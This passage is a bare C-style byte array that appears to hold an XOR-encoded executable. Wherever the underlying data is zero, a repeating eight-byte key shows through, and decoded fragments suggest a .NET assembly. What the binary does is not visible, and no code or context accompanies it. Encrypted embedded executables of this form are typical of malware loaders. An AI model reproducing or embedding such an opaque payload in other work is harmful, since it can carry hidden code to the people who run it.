	0x18, 0xC3, 0xDE, 0xB2, 0x92, 0x2C, 0xAB, 0x0B, 0x4B, 0xCD, 0xDA, 0xE7, 0xC2, 0x7F, 0xA6, 0x04,
	0x27, 0xD8, 0xB2, 0x80, 0xDE, 0x3C, 0xEA, 0x58, 0x17, 0xDA, 0xA6, 0xB1, 0xCD, 0x2A, 0xFD, 0x49,
	0x56, 0xD4, 0x84, 0xA0, 0xC4, 0x20, 0xEC, 0x51, 0x13, 0x96, 0xC5, 0xF3, 0xF1, 0x2A, 0xEC, 0x4E,
	0x13, 0x9B, 0x87, 0xEE, 0x95, 0x61, 0xAE, 0x13, 0x4A, 0xDA, 0xD9, 0xFF, 0x87, 0x0C, 0xEB, 0x51,
	0x0E, 0x81, 0x9B, 0xB6, 0x9A, 0x21, 0xFB, 0x48, 0x0E, 0x86, 0x88, 0xBF, 0x8B, 0x6F, 0xCE, 0x48,
	0x18, 0x98, 0x80, 0xB0, 0xEC, 0x2A, 0xE7, 0x69, 0x15, 0x9F, 0x8C, 0xBD, 0x9A, 0x2D, 0xA9, 0x0A,
	0x1B, 0xC1, 0x8A, 0xE6, 0x91, 0x7E, 0xA7, 0x0E, 0x4E, 0x91, 0xD9, 0xEB, 0x9E, 0x12, 0xC3, 0x34,
	0x60, 0xF4, 0xE9, 0xD3, 0xAD, 0x46, 0xB0, 0x3D, 0x7A, 0xF4, 0xEF, 0x83, 0xA7, 0x4F, 0x9E, 0x2D,
	0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x7C, 0x19, 0x80, 0x80, 0xA5, 0xC6, 0x3B, 0xF1, 0x4F,
	0x7C, 0xA5, 0xE9, 0xD3, 0xA7, 0x41, 0xDD, 0x4F, 0x1F, 0x95, 0x9D, 0xB6, 0xEE, 0x21, 0xED, 0x49,
	0x1B, 0x9A, 0x8A, 0xB6, 0xAD, 0x4E, 0xA7, 0x3D, 0x7A, 0xF4, 0xDC, 0xD3, 0xA7, 0x4F, 0x97, 0x6C,
	0x7A, 0xF4, 0xE9, 0xDA, 0x89, 0x4F, 0x9E, 0x3D, 0x73, 0xA4, 0xE9, 0xD3, 0xA7, 0x49, 0xCA, 0x3D,
	0x7A, 0xF4, 0xC0, 0x80, 0xDE, 0x3C, 0xEA, 0x58, 0x17, 0xDA, 0xA6, 0xB1, 0xCD, 0x2A, 0xFD, 0x49,
	0x5A, 0xB7, 0x9B, 0xB6, 0xC6, 0x3B, 0xFB, 0x74, 0x14, 0x87, 0x9D, 0xB2, 0xC9, 0x2C, 0xFB, 0x15,
	0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x69, 0x03, 0x84, 0x8C, 0xFA, 0xAF, 0x4F, 0x9E, 0x3D,
	0x70, 0xF5, 0xD3, 0xD3, 0xA7, 0x4F, 0x95, 0x3D, 0x7A, 0xF4, 0xEF, 0x86, 0xA7, 0x4F, 0x9E, 0x1B,
	0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x7E, 0x15, 0x99, 0x99, 0xBC, 0xC9, 0x2A, 0xF0, 0x49,
	0x37, 0x9B, 0x8D, 0xB6, 0xCB, 0x61, 0xDA, 0x58, 0x09, 0x9D, 0x8E, 0xBD, 0x89, 0x0C, 0xF1, 0x50,
	0x17, 0x95, 0x87, 0xB7, 0xEE, 0x0B, 0x9A, 0x3D, 0x7A, 0xF4, 0xE0, 0xF9, 0xA7, 0x4F, 0x9E, 0x2D,
	0x41, 0xF4, 0xE9, 0xD3, 0xA5, 0x4F, 0x9E, 0x3D, 0x73, 0xA3, 0xE9, 0xD3, 0xA7, 0x47, 0x96, 0x3D,
	0x5A, 0xF4, 0xE9, 0xDC, 0x9B, 0x4F, 0x9E, 0x3D, 0x7A, 0xF8, 0xE9, 0xD3, 0xA5, 0x02, 0xC4, 0xAD,
	0x7A, 0xF7, 0xE9, 0xD3, 0xA7, 0x4B, 0x9E, 0x3D, 0x7A, 0x0B, 0x16, 0xD3, 0xA7, 0xF7, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x0F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0x74, 0xE9, 0xD3, 0xA7, 0x41, 0x81, 0x87,
	0x74, 0xF4, 0x5D, 0xDA, 0x6A, 0x6E, 0x26, 0x3C, 0x36, 0x39, 0xC8, 0x87, 0xCF, 0x26, 0xED, 0x1D,
	0x0A, 0x86, 0x86, 0xB4, 0xD5, 0x2E, 0xF3, 0x1D, 0x19, 0x95, 0x87, 0xBD, 0xC8, 0x3B, 0xBE, 0x5F,
	0x1F, 0xD4, 0x9B, 0xA6, 0xC9, 0x6F, 0xF7, 0x53, 0x5A, 0xB0, 0xA6, 0x80, 0x87, 0x22, 0xF1, 0x59,
	0x1F, 0xDA, 0xE4, 0xDE, 0xAD, 0x6B, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x1F, 0xDB, 0x3D,
	0x7A, 0xB8, 0xE8, 0xD0, 0xA7, 0xDF, 0xFD, 0x56, 0x18, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0x14, 0xE9, 0xD1, 0x86, 0x44, 0x9F, 0x35, 0x7A, 0xF4, 0xED, 0xD3, 0xA7, 0x4F, 0x98, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0xE1, 0xBD, 0x3D, 0x7A, 0xF4, 0xC9, 0xD3, 0xA7, 0x4F, 0xDE, 0x3D,
	0x7A, 0xF4, 0xE9, 0x93, 0xA7, 0x4F, 0xBE, 0x3D, 0x7A, 0xF4, 0xEB, 0xD3, 0xA7, 0x4B, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4B, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x1E, 0x3D,
	0x7A, 0xF4, 0xEB, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF7, 0xE9, 0x93, 0x22, 0x4F, 0x9E, 0x2D,
	0x7A, 0xF4, 0xF9, 0xD3, 0xA7, 0x4F, 0x9E, 0x2D, 0x7A, 0xF4, 0xF9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xE4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x2F, 0xBD, 0x3D,
	0x7A, 0xBF, 0xE9, 0xD3, 0xA7, 0x4F, 0xDE, 0x3D, 0x7A, 0x5C, 0xEB, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0xFE, 0x3D,
	0x7A, 0xF8, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0xBE, 0x3D, 0x7A, 0xFC, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x47, 0xBE, 0x3D, 0x7A, 0xBC, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x61, 0xEA, 0x58, 0x02, 0x80, 0xE9, 0xD3, 0xA7, 0xFB, 0x9D, 0x3D,
	0x7A, 0xF4, 0xC9, 0xD3, 0xA7, 0x4F, 0x9A, 0x3D, 0x7A, 0xF4, 0xEB, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xD4, 0xE9, 0xD3, 0xC7, 0x61, 0xEC, 0x4E,
	0x08, 0x97, 0xE9, 0xD3, 0xA7, 0xE7, 0x9C, 0x3D, 0x7A, 0xF4, 0xA9, 0xD3, 0xA7, 0x4F, 0x9A, 0x3D,
	0x7A, 0xF4, 0xEF, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xB4, 0xE9, 0xD3, 0xE7, 0x61, 0xEC, 0x58, 0x16, 0x9B, 0x8A, 0xD3, 0xA7, 0x43, 0x9E, 0x3D,
	0x7A, 0xF4, 0x89, 0xD3, 0xA7, 0x4F, 0x9C, 0x3D, 0x7A, 0xF4, 0xE3, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xB4, 0xE9, 0xD3, 0xE5, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0xDF, 0xBD, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x07, 0x9E, 0x3D, 0x7A, 0xF6, 0xE9, 0xD6, 0xA7, 0x37, 0xBE, 0x3D,
	0x7A, 0x1C, 0xEB, 0xD3, 0xA7, 0x4E, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0xD5, 0x9C, 0x15,
	0x79, 0xF4, 0xE9, 0xD9, 0xD5, 0x4E, 0x9E, 0x3D, 0x0A, 0x86, 0xE0, 0xD3, 0xA7, 0x3F, 0xEC, 0x2C,
	0x7A, 0xF4, 0x99, 0xFB, 0xA3, 0x4F, 0x9E, 0x37, 0x52, 0xF1, 0xE9, 0xD3, 0xAD, 0x67, 0x98, 0x3D,
	0x7A, 0xFE, 0xCF, 0xF9, 0xA7, 0x0D, 0xCD, 0x77, 0x38, 0xF5, 0xE9, 0xD2, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF8, 0xE9, 0xD3, 0xA7, 0x39, 0xAC, 0x13, 0x4A, 0xDA, 0xDC, 0xE3, 0x90, 0x7D, 0xA9, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD6, 0xA7, 0x23, 0x9E, 0x3D, 0x7A, 0xF4, 0xE8, 0xD3, 0xA7, 0x6C, 0xE0, 0x3D,
	0x7A, 0x98, 0xE8, 0xD3, 0xA7, 0xB3, 0x9E, 0x3D, 0x7A, 0xD7, 0xBA, 0xA7, 0xD5, 0x26, 0xF0, 0x5A,
	0x09, 0xF4, 0xE9, 0xD3, 0xA7, 0x27, 0x9C, 0x3D, 0x7A, 0xD4, 0xE9, 0xD3, 0xA7, 0x6C, 0xCB, 0x6E,
	0x7A, 0x7C, 0xEB, 0xD3, 0xA7, 0x5F, 0x9E, 0x3D, 0x7A, 0xD7, 0xAE, 0x86, 0xEE, 0x0B, 0x9E, 0x3D,
	0x7A, 0x6C, 0xEB, 0xD3, 0xA7, 0x1F, 0x9E, 0x3D, 0x7A, 0xD7, 0xAB, 0xBF, 0xC8, 0x2D, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4D, 0x9E, 0x3D, 0x7B, 0xB3, 0xFD, 0xD3, 0xA7, 0x46, 0x9E, 0x3D,
	0x7A, 0xF4, 0x13, 0xD2, 0x94, 0x4F, 0x88, 0x3D, 0x7A, 0xF5, 0xE9, 0xD3, 0xA7, 0x49, 0x9E, 0x3D,
	0x7A, 0xF6, 0xE9, 0xD3, 0xA7, 0x4E, 0x9E, 0x3D, 0x7A, 0xF2, 0xE9, 0xD3, 0xA7, 0x4D, 0x9E, 0x3D,
	0x7A, 0xF5, 0xE9, 0xD3, 0xA7, 0x4D, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD9, 0xA7, 0x4E, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD5, 0xA7, 0x7B, 0x9E, 0x10, 0x7A, 0xF2, 0xE9, 0xB2, 0xA7, 0x0E, 0x9E, 0x3B,
	0x7A, 0x75, 0xE9, 0x92, 0xA7, 0x49, 0x9E, 0x95, 0x7A, 0xD9, 0xE9, 0xD5, 0xA7, 0x84, 0x9E, 0x10,
	0x7A, 0xFE, 0xE9, 0x3F, 0xA7, 0x96, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD2, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF5, 0xE9, 0xD2, 0xA7, 0x4F, 0x9E, 0x2D, 0x7A, 0xE3, 0xE9, 0xD3, 0xA7, 0x4A, 0x9E, 0x3C,
	0x7A, 0xF5, 0xE9, 0x83, 0x87, 0x4F, 0x9E, 0x3D, 0x7A, 0x72, 0xF1, 0xE8, 0xA7, 0x45, 0x9E, 0x3C,
	0x7A, 0xE5, 0xE9, 0xE8, 0xA7, 0x41, 0x9E, 0x24, 0x7A, 0xCF, 0xE9, 0xD9, 0xA7, 0x46, 0x9E, 0x06,
	0x7A, 0xFE, 0xE9, 0xF2, 0xA7, 0xFB, 0x9E, 0x2E, 0x7A, 0xDD, 0xE9, 0x01, 0xA7, 0x57, 0x9E, 0x0C,
	0x7A, 0x00, 0xE9, 0xCD, 0xA7, 0x61, 0x9E, 0x36, 0x7A, 0xD1, 0xE9, 0xFD, 0xA7, 0x5C, 0x9E, 0x13,
	0x7A, 0xF0, 0x69, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0x4C, 0xA7, 0x4F, 0x9E, 0x3F, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD2, 0xA7, 0x6B, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD1, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3C, 0x7A, 0xD9, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xD5, 0x9E, 0xC8, 0x2B, 0xEB, 0x51, 0x1F, 0xCA, 0xE9, 0xB0, 0xDD, 0x25, 0xF8, 0x4A,
	0x0B, 0x93, 0x87, 0xFD, 0xC3, 0x23, 0xF2, 0x3D, 0x3F, 0x8C, 0x99, 0xBF, 0xC8, 0x26, 0xEA, 0x7E,
	0x16, 0x95, 0x9A, 0xA0, 0xA7, 0x22, 0xED, 0x5E, 0x15, 0x86, 0x85, 0xBA, 0xC5, 0x4F, 0xCD, 0x44,
	0x09, 0x80, 0x8C, 0xBE, 0xA7, 0x00, 0xFC, 0x57, 0x1F, 0x97, 0x9D, 0xD3, 0x89, 0x2C, 0xEA, 0x52,
	0x08, 0xF4, 0xBA, 0xAA, 0xD4, 0x3B, 0xFB, 0x50, 0x54, 0xA6, 0x9C, 0xBD, 0xD3, 0x26, 0xF3, 0x58,
	0x54, 0xB7, 0x86, 0xBE, 0xD7, 0x26, 0xF2, 0x58, 0x08, 0xA7, 0x8C, 0xA1, 0xD1, 0x26, 0xFD, 0x58,
	0x09, 0xF4, 0xAA, 0xBC, 0xCA, 0x3F, 0xF7, 0x51, 0x1B, 0x80, 0x80, 0xBC, 0xC9, 0x1D, 0xFB, 0x51,
	0x1B, 0x8C, 0x88, 0xA7, 0xCE, 0x20, 0xF0, 0x4E, 0x3B, 0x80, 0x9D, 0xA1, 0xCE, 0x2D, 0xEB, 0x49,
	0x1F, 0xF4, 0xBB, 0xA6, 0xC9, 0x3B, 0xF7, 0x50, 0x1F, 0xB7, 0x86, 0xBE, 0xD7, 0x2E, 0xEA, 0x54,
	0x18, 0x9D, 0x85, 0xBA, 0xD3, 0x36, 0xDF, 0x49, 0x0E, 0x86, 0x80, 0xB1, 0xD2, 0x3B, 0xFB, 0x3D,
	0x19, 0x8E, 0x83, 0xB5, 0xD0, 0x3E, 0xF9, 0x53, 0x7A, 0xB1, 0x87, 0xA5, 0xCE, 0x3D, 0xF1, 0x53,
	0x17, 0x91, 0x87, 0xA7, 0xA7, 0x08, 0xFB, 0x49, 0x3F, 0x9A, 0x9F, 0xBA, 0xD5, 0x20, 0xF0, 0x50,
	0x1F, 0x9A, 0x9D, 0x85, 0xC6, 0x3D, 0xF7, 0x5C, 0x18, 0x98, 0x8C, 0xD3, 0xF4, 0x3B, 0xEC, 0x54,
	0x14, 0x93, 0xE9, 0x90, 0xC8, 0x21, 0xFD, 0x5C, 0x0E, 0xF4, 0xBA, 0xAA, 0xD4, 0x3B, 0xFB, 0x50,
	0x54, 0xB0, 0x80, 0xB2, 0xC0, 0x21, 0xF1, 0x4E, 0x0E, 0x9D, 0x8A, 0xA0, 0xA7, 0x1F, 0xEC, 0x52,
	0x19, 0x91, 0x9A, 0xA0, 0xA7, 0x1C, 0xEA, 0x5C, 0x08, 0x80, 0xE9, 0xD3, 0xA7, 0x4F, 0x99, 0x5E,
	0x7A, 0x99, 0xE9, 0xB7, 0xA7, 0x4F, 0x99, 0x12, 0x7A, 0x97, 0xE9, 0xF3, 0xA7, 0x4F, 0x95, 0x4D,
	0x7A, 0x91, 0xE9, 0xE0, 0xA7, 0x77, 0x9E, 0x0B, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0xD8, 0x82, 0xC9,
	0xA8, 0xF6, 0x5E, 0xA5, 0xED, 0xDA, 0xC7, 0x77, 0x35, 0x6D, 0x83, 0x0D, 0xC3, 0x4F, 0x96, 0x8A,
	0x00, 0xA8, 0xBF, 0xCA, 0x93, 0xAF, 0x17, 0x3E, 0x5A, 0xF4, 0xE8, 0xD7, 0x87, 0x4E, 0x9F, 0x35,
	0x7E, 0xF4, 0xE8, 0xDD, 0xA9, 0x4A, 0x9E, 0x3F, 0x74, 0xFA, 0xE7, 0xD5, 0xA7, 0x4D, 0x8C, 0x24,
	0x74, 0xFA, 0xE1, 0xD2, 0xA7, 0x47, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xCD, 0xA6, 0x4F, 0x9F, 0x3D,
	0x2E, 0xF6, 0xFF, 0x84, 0xD5, 0x2E, 0xEE, 0x73, 0x15, 0x9A, 0xAC, 0xAB, 0xC4, 0x2A, 0xEE, 0x49,
	0x13, 0x9B, 0x87, 0x87, 0xCF, 0x3D, 0xF1, 0x4A, 0x09, 0xF5, 0xE9, 0xD3, 0xA7, 0xC7, 0xBD, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0x6A, 0xCA, 0xD3, 0xA7, 0x4F, 0xBE, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0xDF, 0xBD, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x62,
	0x39, 0x9B, 0x9B, 0x97, 0xCB, 0x23, 0xD3, 0x5C, 0x13, 0x9A, 0xE9, 0xBE, 0xD4, 0x2C, 0xF1, 0x4F,
	0x1F, 0x91, 0xC7, 0xB7, 0xCB, 0x23, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0x2C, 0x82, 0x4F, 0xBE, 0x7D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD2, 0xA7, 0x5F, 0x9E, 0x3D,
	0x7A, 0xEC, 0xE9, 0xD3, 0x27, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD2, 0xA7, 0x4E, 0x9E, 0x3D, 0x7A, 0xC4, 0xE9, 0xD3, 0x27, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD2, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xBC, 0xE9, 0xD3, 0xA7, 0x17, 0xDE, 0x3D, 0x7A, 0xB8, 0xEB, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x03, 0x9C, 0x09, 0x7A, 0xF4, 0xE9, 0x85, 0xA7, 0x1C, 0x9E, 0x62,
	0x7A, 0xA2, 0xE9, 0x96, 0xA7, 0x1D, 0x9E, 0x6E, 0x7A, 0xBD, 0xE9, 0x9C, 0xA7, 0x01, 0x9E, 0x62,
	0x7A, 0xBD, 0xE9, 0x9D, 0xA7, 0x09, 0x9E, 0x72, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0xF2, 0x9A, 0xD2,
	0x84, 0xF4, 0xE9, 0xD2, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x70, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4B, 0x9E, 0x3D,
	0x7A, 0xF6, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xB0, 0xE9, 0xD3, 0xA7, 0x4E, 0x9E, 0x6B, 0x7A, 0x95, 0xE9, 0xA1, 0xA7, 0x09, 0x9E, 0x54,
	0x7A, 0x98, 0xE9, 0xB6, 0xA7, 0x06, 0x9E, 0x53, 0x7A, 0x92, 0xE9, 0xBC, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xD0, 0xE9, 0xD7, 0xA7, 0x4F, 0x9E, 0x69, 0x7A, 0x86, 0xE9, 0xB2, 0xA7, 0x21, 0x9E, 0x4E,
	0x7A, 0x98, 0xE9, 0xB2, 0xA7, 0x3B, 0x9E, 0x54, 0x7A, 0x9B, 0xE9, 0xBD, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0x63, 0xA3, 0xE3, 0x9F, 0x3D, 0x7A, 0xF5, 0xE9, 0x80, 0xA7, 0x3B, 0x9E, 0x4F,
	0x7A, 0x9D, 0xE9, 0xBD, 0xA7, 0x28, 0x9E, 0x7B, 0x7A, 0x9D, 0xE9, 0xBF, 0xA7, 0x2A, 0x9E, 0x74,
	0x7A, 0x9A, 0xE9, 0xB5, 0xA7, 0x20, 0x9E, 0x3D, 0x7A, 0x7C, 0xE8, 0xD3, 0xA7, 0x4E, 0x9E, 0x0D,
	0x7A, 0xC4, 0xE9, 0xE3, 0xA7, 0x7F, 0x9E, 0x0D, 0x7A, 0xC0, 0xE9, 0xB1, 0xA7, 0x7F, 0x9E, 0x3D,
	0x7A, 0xD8, 0xE9, 0xD1, 0xA7, 0x4E, 0x9E, 0x7B, 0x7A, 0x9D, 0xE9, 0xBF, 0xA7, 0x2A, 0x9E, 0x79,
	0x7A, 0x91, 0xE9, 0xA0, 0xA7, 0x2C, 0x9E, 0x4F, 0x7A, 0x9D, 0xE9, 0xA3, 0xA7, 0x3B, 0x9E, 0x54,
	0x7A, 0x9B, 0xE9, 0xBD, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xD4, 0xE9, 0xD3, 0xA7, 0x7F, 0x9E, 0x35,
	0x7A, 0xF5, 0xE9, 0x95, 0xA7, 0x26, 0x9E, 0x51, 0x7A, 0x91, 0xE9, 0x85, 0xA7, 0x2A, 0x9E, 0x4F,
	0x7A, 0x87, 0xE9, 0xBA, 0xA7, 0x20, 0x9E, 0x53, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x7F, 0x9E, 0x13,
	0x7A, 0xC4, 0xE9, 0xFD, 0xA7, 0x7F, 0x9E, 0x13, 0x7A, 0xC4, 0xE9, 0xD3, 0xA7, 0x73, 0x9E, 0x30,
	0x7A, 0xF5, 0xE9, 0x9A, 0xA7, 0x21, 0x9E, 0x49, 0x7A, 0x91, 0xE9, 0xA1, 0xA7, 0x21, 0x9E, 0x5C,
	0x7A, 0x98, 0xE9, 0x9D, 0xA7, 0x2E, 0x9E, 0x50, 0x7A, 0x91, 0xE9, 0xD3, 0xA7, 0x2C, 0x9E, 0x47,
	0x7A, 0x9E, 0xE9, 0xB5, 0xA7, 0x38, 0x9E, 0x4C, 0x7A, 0x93, 0xE9, 0xBD, 0xA7, 0x61, 0x9E, 0x59,
	0x7A, 0x98, 0xE9, 0xBF, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xDC, 0xE9, 0xD1, 0xA7, 0x4E, 0x9E, 0x71,
	0x7A, 0x91, 0xE9, 0xB4, 0xA7, 0x2E, 0x9E, 0x51, 0x7A, 0xB7, 0xE9, 0xBC, 0xA7, 0x3F, 0x9E, 0x44,
	0x7A, 0x86, 0xE9, 0xBA, 0xA7, 0x28, 0x9E, 0x55, 0x7A, 0x80, 0xE9, 0xD3, 0xA7, 0x6F, 0x9E, 0x3D,
	0x7A, 0xB0, 0xE9, 0xDE, 0xA7, 0x4E, 0x9E, 0x72, 0x7A, 0x86, 0xE9, 0xBA, 0xA7, 0x28, 0x9E, 0x54,
	0x7A, 0x9A, 0xE9, 0xB2, 0xA7, 0x23, 0x9E, 0x7B, 0x7A, 0x9D, 0xE9, 0xBF, 0xA7, 0x2A, 0x9E, 0x53,
	0x7A, 0x95, 0xE9, 0xBE, 0xA7, 0x2A, 0x9E, 0x3D, 0x7A, 0x97, 0xE9, 0xA9, 0xA7, 0x25, 0x9E, 0x5B,
	0x7A, 0x83, 0xE9, 0xA2, 0xA7, 0x28, 0x9E, 0x53, 0x7A, 0xDA, 0xE9, 0xB7, 0xA7, 0x23, 0x9E, 0x51,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x7B, 0x9E, 0x35, 0x7A, 0xF5, 0xE9, 0x83, 0xA7, 0x3D, 0x9E, 0x52,
	0x7A, 0x90, 0xE9, 0xA6, 0xA7, 0x2C, 0x9E, 0x49, 0x7A, 0xA2, 0xE9, 0xB6, 0xA7, 0x3D, 0x9E, 0x4E,
	0x7A, 0x9D, 0xE9, 0xBC, 0xA7, 0x21, 0x9E, 0x3D, 0x7A, 0xC4, 0xE9, 0xFD, 0xA7, 0x7F, 0x9E, 0x13,
	0x7A, 0xC4, 0xE9, 0xFD, 0xA7, 0x7F, 0x9E, 0x3D, 0x7A, 0xCC, 0xE9, 0xDB, 0xA7, 0x4E, 0x9E, 0x7C,
	0x7A, 0x87, 0xE9, 0xA0, 0xA7, 0x2A, 0x9E, 0x50, 0x7A, 0x96, 0xE9, 0xBF, 0xA7, 0x36, 0x9E, 0x1D,
	0x7A, 0xA2, 0xE9, 0xB6, 0xA7, 0x3D, 0x9E, 0x4E, 0x7A, 0x9D, 0xE9, 0xBC, 0xA7, 0x21, 0x9E, 0x3D,
